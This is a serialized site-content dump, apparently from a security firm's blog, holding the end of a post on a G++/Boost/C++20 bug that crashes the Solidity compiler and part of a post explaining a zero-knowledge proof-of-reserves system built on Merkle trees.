a.operator==(b);\n",{"type":23,"tag":230,"props":93685,"children":93686},{"class":232,"line":444},[93687],{"type":23,"tag":230,"props":93688,"children":93689},{"style":274},[93690],{"type":29,"value":975},{"type":23,"tag":32,"props":93692,"children":93693},{},[93694,93696,93701,93703,93708],{"type":29,"value":93695},"Instead of calling ",{"type":23,"tag":71,"props":93697,"children":93699},{"className":93698},[],[93700],{"type":29,"value":92026},{"type":29,"value":93702}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":71,"props":93704,"children":93706},{"className":93705},[],[93707],{"type":29,"value":92034},{"type":29,"value":312},{"type":23,"tag":32,"props":93710,"children":93711},{},[93712],{"type":29,"value":93713},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":21113,"props":93715,"children":93716},{},[],{"type":23,"tag":24,"props":93718,"children":93720},{"id":93719},"part-iv-how-this-breaks-solidity",[93721],{"type":29,"value":93722},"Part IV: How This Breaks Solidity",{"type":23,"tag":32,"props":93724,"children":93725},{},[93726,93728,93733],{"type":29,"value":93727},"The Solidity codebase uses ",{"type":23,"tag":71,"props":93729,"children":93731},{"className":93730},[],[93732],{"type":29,"value":91881},{"type":29,"value":93734}," to represent certain compile-time constant expressions.",{"type":23,"tag":32,"props":93736,"children":93737},{},[93738,93740,93746],{"type":29,"value":93739},"One snippet that can trigger this issue appears in ",{"type":23,"tag":71,"props":93741,"children":93743},{"className":93742},[],[93744],{"type":29,"value":93745},"DeclarationTypeChecker::endVisit",{"type":29,"value":218},{"type":23,"tag":220,"props":93748,"children":93750},{"code":93749,"language":31419,"meta":7,"className":31417,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[93751],{"type":23,"tag":71,"props":93752,"children":93753},{"__ignoreMap":7},[93754,93801,93826,93833,93911,93918,93971,93999,94006,94026,94033,94073,94080],{"type":23,"tag":230,"props":93755,"children":93756},{"class":232,"line":233},[93757,93761,93766,93770,93774,93779,93783,93788,93792,93796],{"type":23,"tag":230,"props":93758,"children":93759},{"style":866},[93760],{"type":29,"value":17904},{"type":23,"tag":230,"props":93762,"children":93763},{"style":274},[93764],{"type":29,"value":93765}," (Expression ",{"type":23,"tag":230,"props":93767,"children":93768},{"style":256},[93769],{"type":29,"value":259},{"type":23,"tag":230,"props":93771,"children":93772},{"style":268},[93773],{"type":29,"value":6909},{"type":23,"tag":230,"props":93775,"children":93776},{"style":274},[93777],{"type":29,"value":93778}," length ",{"type":23,"tag":230,"props":93780,"children":93781},{"style":268},[93782],{"type":29,"value":863},{"type":23,"tag":230,"props":93784,"children":93785},{"style":262},[93786],{"type":29,"value":93787}," _typeName",{"type":23,"tag":230,"props":93789,"children":93790},{"style":274},[93791],{"type":29,"value":312},{"type":23,"tag":230,"props":93793,"children":93794},{"style":294},[93795],{"type":29,"value":10839},{"type":23,"tag":230,"props":93797,"children":93798},{"style":274},[93799],{"type":29,"value":93800},"()) {\n",{"type":23,"tag":230,"props":93802,"children":93803},{"class":232,"line":243},[93804,93809,93813,93817,93821],{"type":23,"tag":230,"props":93805,"children":93806},{"style":274},[93807],{"type":29,"value":93808},"    std::optional",{"type":23,"tag":230,"props":93810,"children":93811},{"style":268},[93812],{"type":29,"value":8143},{"type":23,"tag":230,"props":93814,"children":93815},{"style":274},[93816],{"type":29,"value":92886},{"type":23,"tag":230,"props":93818,"children":93819},{"style":268},[93820],{"type":29,"value":12792},{"type":23,"tag":230,"props":93822,"children":93823},{"style":274},[93824],{"type":29,"value":93825}," lengthValue;\n",{"type":23,"tag":230,"props":93827,"children":93828},{"class":232,"line":252},[93829],{"type":23,"tag":230,"props":93830,"children":93831},{"emptyLinePlaceholder":18},[93832],{"type":29,"value":459},{"type":23,"tag":230,"props":93834,"children":93835},{"class":232,"line":280},[93836,93840,93844,93848,93852,93856,93860,93864,93868,93873,93877,93881,93885,93889,93893,93898,93902,93906],{"type":23,"tag":230,"props":93837,"children":93838},{"style":866},[93839],{"type":29,"value":1493},{"type":23,"tag":230,"props":93841,"children":93842},{"style":274},[93843],{"type":29,"value":664},{"type":23,"tag":230,"props":93845,"children":93846},{"style":262},[93847],{"type":29,"value":10839},{"type":23,"tag":230,"props":93849,"children":93850},{"style":274},[93851],{"type":29,"value":16084},{"type":23,"tag":230,"props":93853,"children":93854},{"style":294},[93855],{"type":29,"value":32470},{"type":23,"tag":230,"props":93857,"children":93858},{"style":274},[93859],{"type":29,"value":32475},{"type":23,"tag":230,"props":93861,"children":93862},{"style":262},[93863],{"type":29,"value":35049},{"type":23,"tag":230,"props":93865,"children":93866},{"style":268},[93867],{"type":29,"value":16512},{"type":23,"tag":230,"props":93869,"children":93870},{"style":262},[93871],{"type":29,"value":93872}," length",{"type":23,"tag":230,"props":93874,"children":93875},{"style":274},[93876],{"type":29,"value":16084},{"type":23,"tag":230,"props":93878,"children":93879},{"style":294},[93880],{"type":29,"value":32470},{"type":23,"tag":230,"props":93882,"children":93883},{"style":274},[93884],{"type":29,"value":32475},{"type":23,"tag":230,"props":93886,"children":93887},{"style":262},[93888],{"type":29,"value":35049},{"type":23,"tag":230,"props":93890,"children":93891},{"style":274},[93892],{"type":29,"value":16084},{"type":23,"tag":230,"props":93894,"children":93895},{"style":294},[93896],{"type":29,"value":93897},"category",{"type":23,"tag":230,"props":93899,"children":93900},{"style":274},[93901],{"type":29,"value":16370},{"type":23,"tag":230,"props":93903,"children":93904},{"style":268},[93905],{"type":29,"value":10911},{"type":23,"tag":230,"props":93907,"children":93908},{"style":274},[93909],{"type":29,"value":93910}," Type::Category::RationalNumber)\n",{"type":23,"tag":230,"props":93912,"children":93913},{"class":232,"line":334},[93914],{"type":23,"tag":230,"props":93915,"children":93916},{"style":274},[93917],{"type":29,"value":83621},{"type":23,"tag":230,"props":93919,"children":93920},{"class":232,"line":371},[93921,93926,93930,93935,93939,93944,93948,93953,93957,93962,93966],{"type":23,"tag":230,"props":93922,"children":93923},{"style":866},[93924],{"type":29,"value":93925},"    else",{"type":23,"tag":230,"props":93927,"children":93928},{"style":866},[93929],{"type":29,"value":18112},{"type":23,"tag":230,"props":93931,"children":93932},{"style":274},[93933],{"type":29,"value":93934}," (std::optional",{"type":23,"tag":230,"props":93936,"children":93937},{"style":268},[93938],{"type":29,"value":8143},{"type":23,"tag":230,"props":93940,"children":93941},{"style":274},[93942],{"type":29,"value":93943},"ConstantEvaluator::TypedRational",{"type":23,"tag":230,"props":93945,"children":93946},{"style":268},[93947],{"type":29,"value":12792},{"type":23,"tag":230,"props":93949,"children":93950},{"style":274},[93951],{"type":29,"value":93952}," value ",{"type":23,"tag":230,"props":93954,"children":93955},{"style":268},[93956],{"type":29,"value":863},{"type":23,"tag":230,"props":93958,"children":93959},{"style":274},[93960],{"type":29,"value":93961}," ConstantEvaluator::",{"type":23,"tag":230,"props":93963,"children":93964},{"style":294},[93965],{"type":29,"value":2692},{"type":23,"tag":230,"props":93967,"children":93968},{"style":274},[93969],{"type":29,"value":93970},"(...))\n",{"type":23,"tag":230,"props":93972,"children":93973},{"class":232,"line":391},[93974,93979,93983,93987,93991,93995],{"type":23,"tag":230,"props":93975,"children":93976},{"style":274},[93977],{"type":29,"value":93978},"        lengthValue ",{"type":23,"tag":230,"props":93980,"children":93981},{"style":268},[93982],{"type":29,"value":863},{"type":23,"tag":230,"props":93984,"children":93985},{"style":262},[93986],{"type":29,"value":34803},{"type":23,"tag":230,"props":93988,"children":93989},{"style":274},[93990],{"type":29,"value":16084},{"type":23,"tag":230,"props":93992,"children":93993},{"style":262},[93994],{"type":29,"value":3856},{"type":23,"tag":230,"props":93996,"children":93997},{"style":274},[93998],{"type":29,"value":511},{"type":23,"tag":230,"props":94000,"children":94001},{"class":232,"line":400},[94002],{"type":23,"tag":230,"props":94003,"children":94004},{"emptyLinePlaceholder":18},[94005],{"type":29,"value":459},{"type":23,"tag":230,"props":94007,"children":94008},{"class":232,"line":444},[94009,94013,94017,94021],{"type":23,"tag":230,"props":94010,"children":94011},{"style":866},[94012],{"type":29,"value":1493},{"type":23,"tag":230,"props":94014,"children":94015},{"style":274},[94016],{"type":29,"value":664},{"type":23,"tag":230,"props":94018,"children":94019},{"style":268},[94020],{"type":29,"value":22936},{"type":23,"tag":230,"props":94022,"children":94023},{"style":274},[94024],{"type":29,"value":94025},"lengthValue)\n",{"type":23,"tag":230,"props":94027,"children":94028},{"class":232,"line":453},[94029],{"type":23,"tag":230,"props":94030,"children":94031},{"style":274},[94032],{"type":29,"value":83621},{"type":23,"tag":230,"props":94034,"children":94035},{"class":232,"line":462},[94036,94040,94044,94048,94052,94056,94060,94064,94068],{"type":23,"tag":230,"props":94037,"children":94038},{"style":866},[94039],{"type":29,"value":93925},{"type":23,"tag":230,"props":94041,"children":94042},{"style":866},[94043],{"type":29,"value":18112},{"type":23,"tag":230,"props":94045,"children":94046},{"style":274},[94047],{"type":29,"value":664},{"type":23,"tag":230,"props":94049,"children":94050},{"style":268},[94051],{"type":29,"value":6909},{"type":23,"tag":230,"props":94053,"children":94054},{"style":274},[94055],{"type":29,"value":91857},{"type":23,"tag":230,"props":94057,"children":94058},{"style":268},[94059],{"type":29,"value":10911},{"type":23,"tag":230,"props":94061,"children":94062},{"style":5149},[94063],{"type":29,"value":5386},{"type":23,"tag":230,"props":94065,"children":94066},{"style":274},[94067],{"type":29,"value":5467},{"type":23,"tag":230,"props":94069,"children":94070},{"style":237},[94071],{"type":29,"value":94072},"  // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":230,"props":94074,"children":94075},{"class":232,"line":471},[94076],{"type":23,"tag":230,"props":94077,"children":94078},{"style":274},[94079],{"type":29,"value":83621},{"type":23,"tag":230,"props":94081,"children":94082},{"class":232,"line":500},[94083],{"type":23,"tag":230,"props":94084,"children":94085},{"style":274},[94086],{"type":29,"value":975},{"type":23,"tag":32,"props":94088,"children":94089},{},[94090],{"type":29,"value":94091},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":98,"props":94093,"children":94094},{},[94095,94100,94105],{"type":23,"tag":102,"props":94096,"children":94097},{},[94098],{"type":29,"value":94099},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":102,"props":94101,"children":94102},{},[94103],{"type":29,"value":94104},"C++20 reverses the arguments",{"type":23,"tag":102,"props":94106,"children":94107},{},[94108],{"type":29,"value":94109},"The non-member operator recursively calls itself",{"type":23,"tag":32,"props":94111,"children":94112},{},[94113],{"type":29,"value":94114},"💥: segmentation fault.",{"type":23,"tag":21113,"props":94116,"children":94117},{},[],{"type":23,"tag":24,"props":94119,"children":94121},{"id":94120},"part-v-what-environments-are-affected",[94122],{"type":29,"value":94123},"Part V: What Environments are Affected?",{"type":23,"tag":32,"props":94125,"children":94126},{},[94127],{"type":29,"value":94128},"If a system uses any of the following:",{"type":23,"tag":98,"props":94130,"children":94131},{},[94132,94137,94142],{"type":23,"tag":102,"props":94133,"children":94134},{},[94135],{"type":29,"value":94136},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":102,"props":94138,"children":94139},{},[94140],{"type":29,"value":94141},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":102,"props":94143,"children":94144},{},[94145],{"type":29,"value":94146},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":32,"props":94148,"children":94149},{},[94150,94152,94157,94159,94165],{"type":29,"value":94151},"They will encounter this crash ",{"type":23,"tag":2302,"props":94153,"children":94154},{},[94155],{"type":29,"value":94156},"as soon as",{"type":29,"value":94158}," it processes a Solidity source with a length expression like ",{"type":23,"tag":71,"props":94160,"children":94162},{"className":94161},[],[94163],{"type":29,"value":94164},"T[0]",{"type":29,"value":94166}," or anything involving compile-time rational comparisons.",{"type":23,"tag":21113,"props":94168,"children":94169},{},[],{"type":23,"tag":24,"props":94171,"children":94173},{"id":94172},"recommendations",[94174],{"type":29,"value":94175},"Recommendations",{"type":23,"tag":98,"props":94177,"children":94178},{},[94179,94187],{"type":23,"tag":102,"props":94180,"children":94181},{},[94182],{"type":23,"tag":2302,"props":94183,"children":94184},{},[94185],{"type":29,"value":94186},"Update Boost to ≥ 1.75",{"type":23,"tag":102,"props":94188,"children":94189},{},[94190],{"type":23,"tag":2302,"props":94191,"children":94192},{},[94193],{"type":29,"value":94194},"Pin G++ to v14 or later",{"type":23,"tag":21113,"props":94196,"children":94197},{},[],{"type":23,"tag":24,"props":94199,"children":94200},{"id":5163},[94201],{"type":29,"value":5166},{"type":23,"tag":32,"props":94203,"children":94204},{},[94205],{"type":29,"value":94206},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":32,"props":94208,"children":94209},{},[94210,94212,94216],{"type":29,"value":94211},"But it ",{"type":23,"tag":2302,"props":94213,"children":94214},{},[94215],{"type":29,"value":6309},{"type":29,"value":94217}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":32,"props":94219,"children":94220},{},[94221],{"type":29,"value":94222},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":32,"props":94224,"children":94225},{},[94226],{"type":29,"value":94227},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":5178,"props":94229,"children":94230},{},[94231],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":94233},[94234,94235,94240,94243,94244,94245,94246,94247],{"id":91917,"depth":243,"text":91920},{"id":92006,"depth":243,"text":92009,"children":94236},[94237,94238,94239],{"id":92012,"depth":252,"text":92015},{"id":92080,"depth":252,"text":92083},{"id":92171,"depth":252,"text":92174},{"id":92755,"depth":243,"text":92758,"children":94241},[94242],{"id":92761,"depth":252,"text":92764},{"id":92872,"depth":243,"text":92875},{"id":93719,"depth":243,"text":93722},{"id":94120,"depth":243,"text":94123},{"id":94172,"depth":243,"text":94175},{"id":5163,"depth":243,"text":5166},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":94252,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":94253,"description":94254,"date":94255,"author":12,"image":94256,"isFeatured":18,"onBlogPage":18,"tags":94258,"body":94261,"_type":5202,"_id":99037,"_source":5204,"_file":99038,"_stem":99039,"_extension":5207},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":94257,"width":16,"height":16},"/posts/por/title.png",[94259,94260],"zk","por",{"type":20,"children":94262,"toc":99014},[94263,94269,94281,94293,94298,94330,94344,94350,94362,94367,94372,94409,94414,94420,94425,94432,94437,94463,94468,94474,94494,94508,94516,94521,94526,94534,94547,94553,94635,94641,94646,94659,94664,94671,94695,94703,94708,94714,94719,95167,95180,95186,95191,95199,95217,95225,95238,95246,96907,96912,96919,96925,96930,96937,96953,96960,96968,96975,98486,98491,98498,98504,98509,98536,98541,98560,98566,98574,98592,98641,98649,98668,98690,98696,98709,98714,98721,98726,98789,98794,98801,98821,98827,98832,98838,98843,98887,98892,98900,98906,98911,98953,98958,98966,98971,98979,98983,98988,99001],{"type":23,"tag":24,"props":94264,"children":94266},{"id":94265},"what-is-a-proof-of-reserves",[94267],{"type":29,"value":94268},"What is a Proof of Reserves?",{"type":23,"tag":32,"props":94270,"children":94271},{},[94272,94274,94279],{"type":29,"value":94273},"At its heart, ",{"type":23,"tag":2302,"props":94275,"children":94276},{},[94277],{"type":29,"value":94278},"Proof of Reserves (PoR)",{"type":29,"value":94280}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":32,"props":94282,"children":94283},{},[94284,94286,94291],{"type":29,"value":94285},"Think of it this way: ",{"type":23,"tag":2302,"props":94287,"children":94288},{},[94289],{"type":29,"value":94290},"PoR",{"type":29,"value":94292}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":32,"props":94294,"children":94295},{},[94296],{"type":29,"value":94297},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":32,"props":94299,"children":94300},{},[94301,94303,94310,94312,94319,94321,94328],{"type":29,"value":94302},"We from OtterSec, in partnership with ",{"type":23,"tag":181,"props":94304,"children":94307},{"href":94305,"rel":94306},"https://backpack.exchange/",[185],[94308],{"type":29,"value":94309},"Backpack",{"type":29,"value":94311},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":181,"props":94313,"children":94316},{"href":94314,"rel":94315},"https://github.com/otter-sec/por_v2",[185],[94317],{"type":29,"value":94318},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":94320}," was based on ",{"type":23,"tag":181,"props":94322,"children":94325},{"href":94323,"rel":94324},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[185],[94326],{"type":29,"value":94327},"OKX Proof of Reserves algorithm",{"type":29,"value":94329}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":32,"props":94331,"children":94332},{},[94333,94335,94342],{"type":29,"value":94334},"In addition, we also created and open-sourced a ",{"type":23,"tag":181,"props":94336,"children":94339},{"href":94337,"rel":94338},"https://github.com/otter-sec/por_verifier_server",[185],[94340],{"type":29,"value":94341},"PoR verifier server",{"type":29,"value":94343}," that receives the proofs and validates them.",{"type":23,"tag":24,"props":94345,"children":94347},{"id":94346},"why-do-we-use-zk-for-por",[94348],{"type":29,"value":94349},"Why do we use ZK for PoR?",{"type":23,"tag":32,"props":94351,"children":94352},{},[94353,94355,94360],{"type":29,"value":94354},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":2302,"props":94356,"children":94357},{},[94358],{"type":29,"value":94359},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":94361}," become game-changers.",{"type":23,"tag":32,"props":94363,"children":94364},{},[94365],{"type":29,"value":94366},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":32,"props":94368,"children":94369},{},[94370],{"type":29,"value":94371},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":144,"props":94373,"children":94374},{},[94375,94392],{"type":23,"tag":102,"props":94376,"children":94377},{},[94378,94383,94385,94391],{"type":23,"tag":2302,"props":94379,"children":94380},{},[94381],{"type":29,"value":94382},"Sum proof",{"type":29,"value":94384},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":71,"props":94386,"children":94388},{"className":94387},[],[94389],{"type":29,"value":94390},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":23057},{"type":23,"tag":102,"props":94393,"children":94394},{},[94395,94400,94402,94407],{"type":23,"tag":2302,"props":94396,"children":94397},{},[94398],{"type":29,"value":94399},"Non-negativity",{"type":29,"value":94401},": All users have a ",{"type":23,"tag":2302,"props":94403,"children":94404},{},[94405],{"type":29,"value":94406},"positive",{"type":29,"value":94408}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":32,"props":94410,"children":94411},{},[94412],{"type":29,"value":94413},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":24,"props":94415,"children":94417},{"id":94416},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[94418],{"type":29,"value":94419},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":32,"props":94421,"children":94422},{},[94423],{"type":29,"value":94424},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":32,"props":94426,"children":94427},{},[94428],{"type":23,"tag":93,"props":94429,"children":94431},{"alt":52351,"src":94430},"/posts/por/merkle-tree.png",[],{"type":23,"tag":32,"props":94433,"children":94434},{},[94435],{"type":29,"value":94436},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":144,"props":94438,"children":94439},{},[94440,94453,94458],{"type":23,"tag":102,"props":94441,"children":94442},{},[94443,94445,94451],{"type":29,"value":94444},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":71,"props":94446,"children":94448},{"className":94447},[],[94449],{"type":29,"value":94450},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":94452},");",{"type":23,"tag":102,"props":94454,"children":94455},{},[94456],{"type":29,"value":94457},"The Merkle tree is made public;",{"type":23,"tag":102,"props":94459,"children":94460},{},[94461],{"type":29,"value":94462},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":32,"props":94464,"children":94465},{},[94466],{"type":29,"value":94467},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":24,"props":94469,"children":94471},{"id":94470},"ottersec-porv2",[94472],{"type":29,"value":94473},"OtterSec PoRv2",{"type":23,"tag":32,"props":94475,"children":94476},{},[94477,94483,94485,94492],{"type":23,"tag":181,"props":94478,"children":94480},{"href":94314,"rel":94479},[185],[94481],{"type":29,"value":94482},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":94484},", which uses the ",{"type":23,"tag":181,"props":94486,"children":94489},{"href":94487,"rel":94488},"https://github.com/0xPolygonZero/plonky2",[185],[94490],{"type":29,"value":94491},"plonky2 ZK algorithm",{"type":29,"value":94493}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":32,"props":94495,"children":94496},{},[94497,94499,94506],{"type":29,"value":94498},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":181,"props":94500,"children":94503},{"href":94501,"rel":94502},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[185],[94504],{"type":29,"value":94505},"Vitalik's proof of solvency",{"type":29,"value":94507},", which was not optimal.",{"type":23,"tag":32,"props":94509,"children":94510},{},[94511],{"type":23,"tag":2302,"props":94512,"children":94513},{},[94514],{"type":29,"value":94515},"Non-negativity Proof",{"type":23,"tag":32,"props":94517,"children":94518},{},[94519],{"type":29,"value":94520},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":32,"props":94522,"children":94523},{},[94524],{"type":29,"value":94525},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":32,"props":94527,"children":94528},{},[94529],{"type":23,"tag":2302,"props":94530,"children":94531},{},[94532],{"type":29,"value":94533},"Sum Proof",{"type":23,"tag":32,"props":94535,"children":94536},{},[94537,94539,94545],{"type":29,"value":94538},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":71,"props":94540,"children":94542},{"className":94541},[],[94543],{"type":29,"value":94544},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":94546},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":59,"props":94548,"children":94550},{"id":94549},"what-are-the-ottersec-porv2-key-points",[94551],{"type":29,"value":94552},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":144,"props":94554,"children":94555},{},[94556,94566,94584,94594,94625],{"type":23,"tag":102,"props":94557,"children":94558},{},[94559,94564],{"type":23,"tag":2302,"props":94560,"children":94561},{},[94562],{"type":29,"value":94563},"Transparency",{"type":29,"value":94565},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":102,"props":94567,"children":94568},{},[94569,94574,94576,94583],{"type":23,"tag":2302,"props":94570,"children":94571},{},[94572],{"type":29,"value":94573},"Time-efficiency",{"type":29,"value":94575},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":181,"props":94577,"children":94580},{"href":94578,"rel":94579},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[185],[94581],{"type":29,"value":94582},"Check our benchmark",{"type":29,"value":312},{"type":23,"tag":102,"props":94585,"children":94586},{},[94587,94592],{"type":23,"tag":2302,"props":94588,"children":94589},{},[94590],{"type":29,"value":94591},"Memory-efficiency",{"type":29,"value":94593},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":102,"props":94595,"children":94596},{},[94597,94602,94604,94609,94611,94616,94618,94623],{"type":23,"tag":2302,"props":94598,"children":94599},{},[94600],{"type":29,"value":94601},"Small-proofs",{"type":29,"value":94603},": We were able to reduce the final proof to less than ",{"type":23,"tag":2302,"props":94605,"children":94606},{},[94607],{"type":29,"value":94608},"500KB",{"type":29,"value":94610}," and each inclusion proof to ",{"type":23,"tag":2302,"props":94612,"children":94613},{},[94614],{"type":29,"value":94615},"~52KB",{"type":29,"value":94617},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":2302,"props":94619,"children":94620},{},[94621],{"type":29,"value":94622},"200MB",{"type":29,"value":94624}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":102,"props":94626,"children":94627},{},[94628,94633],{"type":23,"tag":2302,"props":94629,"children":94630},{},[94631],{"type":29,"value":94632},"Privacy",{"type":29,"value":94634},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":24,"props":94636,"children":94638},{"id":94637},"zk-circuits",[94639],{"type":29,"value":94640},"ZK Circuits",{"type":23,"tag":32,"props":94642,"children":94643},{},[94644],{"type":29,"value":94645},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":144,"props":94647,"children":94648},{},[94649,94654],{"type":23,"tag":102,"props":94650,"children":94651},{},[94652],{"type":29,"value":94653},"Batch circuit",{"type":23,"tag":102,"props":94655,"children":94656},{},[94657],{"type":29,"value":94658},"Recursive circuit",{"type":23,"tag":32,"props":94660,"children":94661},{},[94662],{"type":29,"value":94663},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":32,"props":94665,"children":94666},{},[94667],{"type":23,"tag":93,"props":94668,"children":94670},{"alt":52351,"src":94669},"/posts/por/batch-circuit.png",[],{"type":23,"tag":5272,"props":94672,"children":94673},{},[94674],{"type":23,"tag":32,"props":94675,"children":94676},{},[94677,94679,94685,94687,94693],{"type":29,"value":94678},"Note: We are using 512 as ",{"type":23,"tag":71,"props":94680,"children":94682},{"className":94681},[],[94683],{"type":29,"value":94684},"BATCH_SIZE",{"type":29,"value":94686}," and 8 as ",{"type":23,"tag":71,"props":94688,"children":94690},{"className":94689},[],[94691],{"type":29,"value":94692},"RECURSIVE_SIZE",{"type":29,"value":94694}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":5272,"props":94696,"children":94697},{},[94698],{"type":23,"tag":32,"props":94699,"children":94700},{},[94701],{"type":29,"value":94702},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":32,"props":94704,"children":94705},{},[94706],{"type":29,"value":94707},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":59,"props":94709,"children":94711},{"id":94710},"leaf-nodes",[94712],{"type":29,"value":94713},"Leaf Nodes",{"type":23,"tag":32,"props":94715,"children":94716},{},[94717],{"type":29,"value":94718},"The leaf nodes are the hashes of the account information. It is calculated in this 